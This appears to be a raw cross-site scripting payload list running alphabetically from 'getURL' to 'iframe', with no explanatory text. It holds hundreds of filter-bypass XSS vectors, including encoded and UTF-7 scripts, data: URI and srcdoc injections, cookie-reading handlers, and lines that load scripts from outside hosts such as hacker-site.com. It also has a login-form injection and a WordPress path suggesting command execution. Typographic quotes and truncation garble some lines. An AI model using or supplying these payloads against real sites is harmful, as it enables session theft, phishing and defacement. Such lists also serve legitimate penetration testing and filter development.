getURL(“javascript:alert(‘X9SS’)”)
getURL(“javascript:alert(‘1’)”)
getURL(“javascript:confirm(document.location)”)
?getURLValue=javascript:alert(1)”,
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
g’”></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<g onload=??javascript:alert(9)??></g></svg>
Google Chrome Auditor Bypass (up to v51)
?goto=javascript:alert(1)”,
?goto,javascript:alert(1)”,
#goto,javascript:alert(1)”,
&gt;
&gt
&GT;
&GT
<h1><font color=”#00FF00">Ege was here :)</font></h1>
<h1>Hello,<script>alert(1)</script>!</h1>
<h1>Hello, <script>alert(1)</script>!</h1>
“><h1><IFRAME SRC=”javascript:alert(‘1’);”></IFRAME>”>1</h1>
“><h1><IFRAME SRC=# onmouseover=”alert(document.cookie)”></IFRAME>1</h1>
><h1><IFRAME width=”420" height=”315" frameborder=”0" onmouseover=”document.location.href=’https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
“><h1><iframe width=”420" height=”315" src=”http://www.youtube.com/embed/sxvccpasgTE" frameborder=”0" allowfullscreen></iframe>1</h1>
“><h1><IFRAME width=”420" height=”315" SRC=”http://www.youtube.com/embed/sxvccpasgTE" frameborder=”0" onmouseover=”alert(document.cookie)”></IFRAME>1</h1>
<h1>INJECTX</h1>
<h1><marquee><b><u><i>1</i></u></b></marquee></h1>
<h1 _-_-_-ng_-_-_click=”$event.view.location.replace(‘javascript:alert(1)’)”>1</h1>
<h1/onclick=alert(1)>a//INJECTX
><h1/onclick=a\u006cer\u0074(/1-By-Muhaddi/)>Click Me</h1>
??><h1/onclick=a\u006cer\u0074(/1-By-Muhaddi/)>Click Me</h1>
><h1/onclick=a\u006cer\u0074(/1-by-shawar/)>clickme</h1>
“><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
“><h1 onclick=prompt(1)>Clickme</h1>
“><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
<h1 onerror=alert(/@0x6D6172696F/)>1</h1><style>*:after{content:url()}</style> 
<h1/onmouseover=’alert(1)’>renwa
<h1/onmouseover=’alert(1)’>Renwa
><h1 onmouseover=alert(1-By-Muhaddi)>Hover Me</h1>
><h1 onmouseover=alert(1)>Hover Me</h1>
??><h1 onmouseover=alert(??1??)>Hover Me</h1>
“><h1/onmouseover=’\u0061lert(1)’>
[‘<h1>Payload</h1>’,’<script>alert(/HOLA/);</script>’]
“><h2 id=”Iamheading”onmouseover=”confirm(1)”>
<handler id=”y”>alert(1)</handler>
<handler xmlns:ev=”http://www.w3.org/2001/xml-events" ev:event=”load”>alert(1)</handler>
<head><base href=”javascript://”></head><body><a href=”/. /,alert(1)//#”>XXX</a></body>
<head><base href=”javascript://”/></head><body><a href=”/. /,alert(1)//#”>XXX</a></body>
<head><base href=”javascript://”></head><body><a href=”/. /,javascript:alert(1)//#”>XXX</a></body>
head -c 1000000 /dev/urandom
head -c 1000000 /dev/urandom > /tmp/bin.bin
header(‘Refresh: 0;url=javascript:alert(1)’); 
header(‘Refresh: 0;url=javascript:confirm(1)’);
<;HEAD>;<;META HTTP-EQUIV=”;CONTENT-TYPE”; CONTENT=”;text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(‘;1’;);+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert(‘1’);+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(‘1’);+ADw-/SCRIPT+AD4-
 <HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(‘1’);+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm(5);+ADw-/SCRIPT+AD4-
<head><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7"> </HEAD><SCRIPT>alert(‘1’);</SCRIPT>
Hello @Html.Raw(MyValue)
Hello <%= MyValue =>
<!?—?Hello?—?world > <SCRIPT>confirm(1)</SCRIPT> ?
href=[0x0b]” onclick=alert(1)//
href= action= formaction= location= on*= name= background= poster= src= code= data=
href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4g>
href=”data:text/html&comma;&lt;script&gt;alert(document.domain)&lt
 href=javascript:alert(1)
“ href=javascript:alert(1)
href=javascript:alert(1)//>Click</a>
“ href=javascript:alert(1) <math><!V
href=vjavascript:alert(1)//v>Click</a>
</HTML>
<HTML><BODY>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1&lt;SCRIPT DEFER&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;”></BODY></HTML>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;”></BODY></HTML>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;”></BODY></HTML><HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1<SCRIPT DEFER>alert(“1”)</SCRIPT>”></BODY></HTML>
<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1<SCRIPT DEFER>alert(‘1’)</SCRIPT>”> </BODY></HTML>
<html><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1<SCRIPT DEFER>document.vulnerable=true</SCRIPT>”></BODY></html>
<html data-toggle=tab href=”<img src=k onerror=alert(66)>”>
<html onMouseDown html onMouseDown=”javascript:javascript:alert(1)”></html onMouseDown>
<html onMouseEnter html onMouseEnter=”javascript:parent.javascript:alert(1)”></html onMouseEnter>
<html onMouseLeave html onMouseLeave=”javascript:javascript:alert(1)”></html onMouseLeave>
<html onmousemove html onmousemove=”javascript:javascript:alert(1)”></html onmousemove>
<html onMouseMove html onMouseMove=”javascript:javascript:alert(1)”></html onMouseMove>
<html onMouseOut html onMouseOut=”javascript:javascript:alert(1)”></html onMouseOut>
<Html Onmouseover=(alert)(1) //
<html onmouseover html onmouseover=”javascript:javascript:alert(1)”></html onmouseover>
<html onMouseOver html onMouseOver=”javascript:javascript:alert(1)”></html onMouseOver>
<html onMouseUp html onMouseUp=”javascript:javascript:alert(1)”></html onMouseUp>
<html onMouseWheel html onMouseWheel=”javascript:javascript:alert(1)”></html onMouseWheel>
<html ontouchcancel=alert(1)>
<html ontouchend=alert(1)> 
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)> 
<html ontouchmove=alert(1)>
<html ontouchstart=alert(1)> 
<html ontouchstart=alert(1)>
<html:script>javascript:alert(1);</html:script></html:html>
</html></script> // XML inside JS
htmlspecialchars($_REQUEST[q], ENT_QUOTES);
htmlStr = ‘<a href=”’+*dataentities*+’javascript:1">test</a>’; document.getElementById(‘placeholder’).innerHTML = htmlStr; try { if(document.getElementById(‘placeholder’).firstChild.protocol === ‘javascript:’) { customLog(*dataentities*); } }catch(e){};
htmlStr = ‘<a href=”javascript’+*dataentities*+’:1">test</a>’; document.getElementById(‘placeholder’).innerHTML = htmlStr; try { if(document.getElementById(‘placeholder’).firstChild.protocol === ‘javascript:’) { customLog(*dataentities*); } }catch(e){};
htmlStr = ‘<a href=”javascript’+*dataentities*+’1">test</a>’; document.getElementById(‘placeholder’).innerHTML = htmlStr; try { if(document.getElementById(‘placeholder’).firstChild.protocol === ‘javascript:’) { customLog(*dataentities*); } }catch(e){};
<html><title>{alert(‘1’)}</title></html>
<HTML xmlns:1>
<HTML xmlns:1><?import namespace=”1” implementation=”%(htc)s”>
<HTML xmlns:1><?import namespace=”1” implementation=”%(htc)s”><1:1>1</1:1></HTML>”””,”XML namespace.”),(“””<XML ID=”1”><I><B>&lt;IMG SRC=”javas<!?—??cript:javascript:alert(1)”&gt;</B></I></XML><SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<HTML xmlns:1><?import namespace=”1” implementation=”http://ha.ckers.org/1.htc"><1:1>1</1:1></HTML>
<HTML xmlns:1><?import namespace=”1” implementation=”http://www.securitycompass.com/1.htc"><1:1>1</1:1</html>
<HTML xmlns:1><?import namespace=”1” implementation=”http://www.securitycompass.com/1.htc"><1:1>1</1:1></html>
);HTP.PRINT(:1);?—?
);HTP.PRINT(:1);?—?=pwned<svg/onload=prompt(‘1\u0020via\u0020sql\u0020injection’)>
“h”+”t”+”t”+”p”,
“h”+”t”+”t”+”p”A
http://a/%%30%30
http://aa<script>alert(1)</script>
http://aa'><script>alert(1)</script>
http://aa"><script>alert(1)</script>
@brutelogic.com.br/webgun/test.php?p=”>http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>
http://brutelogic.com.br/webgun/test.php?p=<brute id=test onmouseover=alert(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=pop(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>
http://domain/page?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%20onclick=location%2B=document.body.textContent%3Eclick%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!
http://domain/page?p=%26p=%26lt;svg/onload=alert(1)><j%20onclick=location%2B=document.body.textContent>click%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!
http://domain/page?p=%3Cj%20onclick=location%2B=textContent%3E%26p=%26lt;svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>
http://domain/page?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%20onclick=location%2B=outerHTML%3Eclick%20me!<j&p=<svg+onload=alert(1) onclick=location+=outerHTML>
http://DOMAIN/PAGE.php/"><svg onload=alert(1)>
http://domain/page?p=<j%20onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>&p=<svg/onload=alert(1)>
http://domain/page?p=<j%26p=<svg%2Bonload=alert(1)%20onclick=location%2B=outerHTML>click%20me!<j&p=<svg+onload=alert(1) onclick=”location+=outerHTML”>
http://domain/page?p=<script/src=//3237054390/1+
http://domain/page?p=<svg/onload=alert(1)>
http://domain/page?p=<svg/onload=alert(1)+
http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD
@brutelogic.com.br/webgun/test.php?p=”>http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>
<http://onxxx%3D1/
<http://onxxx%3D151/
http://...?p=<script/src=//brutelogic.com.br/1+
http://...?p=<svg/onload=alert(1)+
http(s)://host/page?p=1
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
http://target.com/something.xxx?a=val1&a=val2
http://window.open (“http://tpc.googlesyndication.com/safeframe/1-0- K”,”1;25;<svg/onload=alert(/1/)>true”)
http://www.google<script .com>confirm(document.location)</script
http://www.<script abc>setTimeout(‘confirm(1)’,1)</script .com>
http://www.<script>confirm(1)</script .com
http://1t.sinaapp.com/utf-32-1.php?charset=utf-8&v=><img src=x onerror=prompt(0);>
http://1t.sinaapp.com/utf-32-1.php?charset=utf-8&v=v><img src=x onerror=prompt(0);>
http://1t.sinaapp.com/utf-32-1.php?charset=utf-8&v=1
HYPERLINK TAG INJECTION:
(i=0;i<100;)
@i\6d\70o\72\74'javascr\ipt:alert(document.cookie)’;
i = document.createElement(input);
id=1 SRC=<IMG 6;avascript:alert(‘1’)>
id=1 style=overflow:scroll>
if(1)confirm(1)}{
if(/*@cc_on!@*/0==1){alert(1);}else{alert(2);}</script>
<;!?—?[if gte IE 4]>;
<!?—?[if gte IE 4]>
<!?—?[if gte IE 4]><SCRIPT>alert(‘1’);</SCRIPT><![endif] ?
<!?—?[if gte IE 4]> <SCRIPT>alert(‘1’);</SCRIPT> <![endif] ?
<!?—?[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif] ?
<!?—?[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif] ?
<!?—?[if IE]><img src=# width=0 height=0 onerror=alert(/insight-labs/)><![endif] ?
<!?—?[if IE]><img src=# width=0 height=0 onerror=alert(/ourren_demo/)><![endif] ?
<![if<iframe
<![if<iframe/onload=alert(1)//]>
<![if<iframe/onload=vbs::alert[:]> 
<!?—?[if<img src=x onerror=alert(2)//]> ?
<!?—?[if<img src=x onerror=javascript:alert(1)//]> ?
<!?—?[if<img src=x:x onerror=confirm(5)//] ?
<ifra<ifame>me>…</ifra</iframe>me>
<iframe/%00/ src=javaSCRIPT&colon;confirm(1)
<iframe %00 src=”&Tab;javascript:prompt(1)&Tab;”%00>
<iframe%0Aname=”javascript:\u0061\u006C\u0065\u0072\u0074(1)”
<iframe%0Aname=”javascript:\u0061\u006C\u0065\u0072\u0074(1)” %0Aonload=”eval(name)”;>
“><iframe%20src=”http://google.com"%%203E
<IFRAME%20src=’javascript:confirm%26%23x25;281)’>
iframe.contentWindow.location.constructor.prototype
</iframe><form method=post action=LOGIN_URL>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById(‘ifra’); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, ‘Safe’, {value:{}}); foo(Safe, ‘get’, {value:function() { return document.cookie }}); alert(Safe.get());</script>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById(‘ifra’); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, ‘Safe’, {value:{}}); foo(Safe, ‘get’, {value:function() { return document.cookie }}); confirm(Safe.get());</script>
<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>
<iframe id=1 / /onload=alert(/1/)></iframe>
<iframe id=1 / “onload=alert(/1/)></iframe>
<iframe id=1 “onload=alert(/1/)></iframe>
<iframe id=1///////onload=alert(/1/)></iframe>
<iframe id=1 <?php echo chr(11)?> onload=alert(/1/)></iframe>
<iframe id=1 <?php echo chr(12)?> onload=alert(/1/)></iframe>
<IFRAME id=1 SRC=”javascript:alert(‘1’); <
<IFRAME id=1 SRC=”javascript:alert(‘1’);”></IFRAME>
<iframe><iframe src=javascript:alert(/@jackmasa/)></iframe>
<iframe><iframe src=javascript:confirm(4)></iframe>
<IFRAME name=”F1" src=”http://target/#<SCRIPT>var secret=’12';”></IFRAME>
<IFRAME name=”F2" src=”http://target/#<SCRIPT>var secret=’13';”></IFRAME>
<IFRAME name=”F3" src=”http://target/#<SCRIPT>var secret=’14';”></IFRAME>
<iframe/name=”if(0){\u0061lert(1)}else{\u0061lert(1)}”/onload=”eval(name)”;>
<iframe name=javascript:alert(1) src=http://www.target.com/?1=<svg/onload=location=name//>
<iframe/name=”javascript:confirm(1);”onload=”while(1){eval(name);}”>
<iframe ng-src=javascript:..>
<iframe onbeforeload iframe onbeforeload=”javascript:javascript:alert(1)”></iframe onbeforeload>
<iframe onload=%22write(‘<script>’%2Blocation.hash.substr(1)%2B’</script>’)%22></iframe>#var xhr = new XMLHttpRequest();xhr.open(‘GET’, ‘http://1me.html5sec.org/1me2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = ‘(.*?)’/)[1]) };xhr.send();
<iframe onload=%22write(‘<script>’%2Blocation.hash.substr(1)%2B’</script>’)%22></iframe>#var xhr = new XMLHttpRequest();xhr.open(‘GET’, ‘http://1me.html5sec.org/1me2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = ‘(.*?)’/)[1]) };xhr.send();
“><iframe/onload=alert(1)>
<iframe onload=”alert(1)”></iframe>
<iframe/onload=alert(document.domain)></iframe>
<iframe/onload=alert(/INJECTX/)>
<iframe onload iframe onload=”javascript:javascript:alert(1)”></iframe onload>
<iframe onLoad iframe onLoad=”javascript:javascript:alert(1)”></iframe onLoad>
<iframe onload=popup=1;>
<iframe/onload=’this[“src”]=”javas&Tab;cript:al”+”ert``”’;>
<iframe/onload=’this[“src”]=”javas&Tab;cript:al”+”ert``”’;
<iframe/onreadystatechange=confirm(1)
“><iframe/onreadystatechange=confirm(1)
<iframe onReadyStateChange iframe onReadyStateChange=”javascript:javascript:alert(1)”></iframe onReadyStateChange>
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(‘\u0061’) worksinIE>
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(‘\u006worksinIE> 
<iframe<?php echo chr(11)?> onload=alert(‘1’)></iframe> 
<iframe<?php echo chr(11)?> onload=alert(‘1’)></iframe>
“></iframe><script>alert(1)</script> 
“></iframe><script>alert(1)</script>
“></iframe><script>alert(document.cookie);</script>
“></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder=”0%EF%BB%BF
<iframesrc=&#039;http://www.target.com?foo="1 autofocus/AAAAA
<iframesrc=&#039;http://www.target.com?foo="1 autofocus/AAAAA onfocus=location=window.name//&#039;
<iframe/src=%&#050f&#x2fben.mario#%0Anew%20alert%20`3`;width=1 height=1 style=visibility:hidden;/>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open(‘GET’,’http://1me.html5sec.org/1me2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=&#74avascript&colon;aler&#x74(53)>
<iframe/src=about:blank onload=alert(1)>
<iframe src=”//brutelogic.com.br/tests/status.html” onload=”frames[0].postMessage(‘<script>alert(document.domain)’,’*’)”>
<iframe src=”data:D,<script>confirm(top.document.body.innerHTML)</script>”>
<iframe src=”data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>
<iframe src=”data:message/rfc822,Content-Type: text/html;%0aContent-Transfer-Encoding: quoted-printable%0a%0a=3CSCRIPT=3Econfirm(document.location)=3C/SCRIPT=3E”></iframe>
<iframe src=\”data:),<script>alert(document.domain)</script>”></iframe>
<iframe/src=”data:text/html,
<iframe src=”data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E”></iframe>
<IFRAME/SRC=DATA:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8NU1JDPSINSFRUUFM6DS8NDS8NSEVJREVSSS5DSC96DSINID4NPC9TQ1JJUFQNDT5>
<iframe src=”data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=”/>
<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe> (Firefox, Chrome, Safari)
<iframe src=”data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;”></iframe>
<iframe/src=”data:text/html&p=<svg/onload=alert(49)>”>
<iframe src=”data:text/html,<script>alert(0)</script>”></iframe> (Firefox, Chrome, Safari)
<iframe/src=”data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload =confirm(1);>”;>
<iframe src=”data:text/html,<svg &#111;&#110;load=alert(1)>”>
<iframe/src=”data:text/html,<svg &#111;&#110;load=alert(1)>”>
<iframe/src=”data:text/html,<svg &#111;&#110;load=confirm(1)>”>
<iframe/src=”data:text/html,<svg onload=alert(1)>”>
<iframe/src=”data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>
<iframe/src=”data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==”>
<Iframe / src = “data: text & sol; html; & Tab; base64 & NewLine;, PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg ==”>
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
<iframe srcdoc=’&lt;body onload=prompt&lpar;1&rpar;&gt;’>
<iframe srcdoc=”&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>”>
<iframe srcdoc=\”&lt;iframe srcdoc=’&amp;lt;iframe onload=alert(1)&amp;gt;’&gt;\”></iframe>
“><iframe srcdoc=”&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;”>
<iframe srcdoc=”&lt;script&gt;alert(1)&lt;/script&gt;”></iframe>
<iframe srcdoc=’&lt;svg/onload=alert(1)&gt;’>
<iframe srcdoc=’&lt;svg/onload=alert(/@80vul/)&gt;’>
<iframe srcdoc=’&lt;svg/onload=confirm(3)&gt;’>
<iframe srcdoc=<svg/onload=alert(1)>>
<iframe srcdoc=”<svg onload=alert(1)&nvgt;”></iframe>
<iframe srcdoc=”<svg/onload=confirm(domain)>”>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;173)&gt;> 
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> 
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<iframe src=”http://0x.lv/1.swf"></iframe>
<IFRAME SRC=??http://hacker-site.com/1.html??>
<IFRAME SRC=http://hacker-site.com/1.html>
<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
<iframe src=”http://localhost"></iframe>
<iframe src=”http://target.com/something.jsp?inject=<script>eval(name)</script>" name=”alert(1)”></iframe>
<iframe/src=”http://www.b.com/1.swf?get-data=(function(){alert(document.cookie)})()"></iframe>
<iframe/src=”http://www.b.com/1.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"></iframe>
“> “><iframe src=http://1.cx onload=confirm(5) <<iframe src=a> “><iframe src=http://1.cx onload=confirm(8) <
<iframe src=”http://1.cx?x=<iframe name=x></iframe>”></iframe><a href=”http://1.ms" target=x id=x></a><script>window.onload=function(){x.click()}</script>
<iframe src=`http://1me.html5sec.org/?1=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open(‘GET’,’http://html5sec.org/1me2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
<iframe src=`http://1me.html5sec.org/?1=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open(‘GET’,’http://html5sec.org/1me2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
/*iframe/src*/<iframe/src=”<iframe/src=@”/onload=prompt(1) /*iframe/src*/>
/*iframe/src*/<iframe/src=”<iframe/src=@”/onload=prompt/*iframe/src*/>
<iframe src iframe src=”javascript:javascript:alert(1)”></iframe src>
<iframe src=”jar://html5sec.org/test.jar!/test.html”></iframe>
<iframe src=”jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”></iframe>
<iframe src=”javascript:%61%6c%65%72%74%28%31%29"></iframe>
<IFRAME/SRC=JAVASCRIPT:%61%6c%65%72%74%28%31%29></iframe>
<IFRAME/SRC=JAVASCRIPT:%61%6c%65%72%74%28%31%29></iframe> // Cross Browser (PEPE Vila)
<iframe src=javascript:alert(1)> 
<iframe src=javascript:alert(1)>
<iframe src=javascript:alert(161)> 
<iframe src=”java script:alert(1)” height=0 width=0 /><iframe> <!?—?
<iframe src=”java script:alert(1)” height=0 width=0 /><iframe>
<iframe src=”javascript:al ert(1)” height=0 width=0 /><iframe> <!?—?
<iframe src=”javascript:al ert(1)” height=0 width=0 /><iframe>
 ? <iframe src=java script:alert(1); height=0 width=0 /><iframe>
<iframe src=”java script:alert(1)” height=0 width=0 /><iframe> <!?—?Java
<iframe src=”javascript:alert(1)”></iframe>
<iframesrc=”javascript:alert(2)”>
<IFRAME SRC=”javascript:alert(29);”></IFRAME>
<iframe src=”javascript:alert(69)%%0D3C!?—?
<iframe src=”javascript:alert(71)%%0D3C!?—?
“><iframe src=javascript:alert(document.cookie); height=0 width=0 /> <iframe>
<IFR AME src=javascript:alert(‘XSnS’)></IFRA ME>
“><iframe src=”javascript:alert(1)”>
><iFrAmE/src=jAvAscrIpT:alert(/1/)>
??><iFrAmE/src=jAvAscrIpT:alert(/1/)>
><iFrAmE/src=jAvAscrIpT:alert(/1-By-Muhaddi/)>
<iframe src=”javascript:alert(‘1 by \n1’);”></iframe><marquee><h1>1 by 1</h1></marquee>
><iFrAmE/src=jAvAscrIpT:alert(/1-by-shawar/)>
<;IFRAME SRC=”;javascript:alert(‘;1’;);”;>;<;/IFRAME>;
<IFRAME SRC=”javascript:alert(‘1’);”></IFRAME>
<IFRAME SRC=”javascript:alert(1);”></IFRAME>
<iframe src=javascript&colon;confirm&lpar;document&period;location&rpar;>
<IFRAME SRC=”javascript:confirm(5);”></IFRAME>
“><iframe/src=javascript:co\u006efir\u006d%28 1%29>
<iframe src=”javascript:document.vulnerable=true; <
<IFRAME SRC=”javascript:document.vulnerable=true;”></iframe>
<iframe/src=’javascript:if(null==null){javascript:0?1:confirm(1);}’>
<IFRAME SRC=”javascript:javascript:alert(1);”></IFRAME>
“><iframe/src=javascript:prompt(1)>
<iframe src=”javascript:’<script src=http://1.cx ></script>’”></iframe>
<iframe src=”javascript:’<script src=//pkav></script>’”>
<iframe src=”javascript:’<script src=>;</script>’”></iframe>
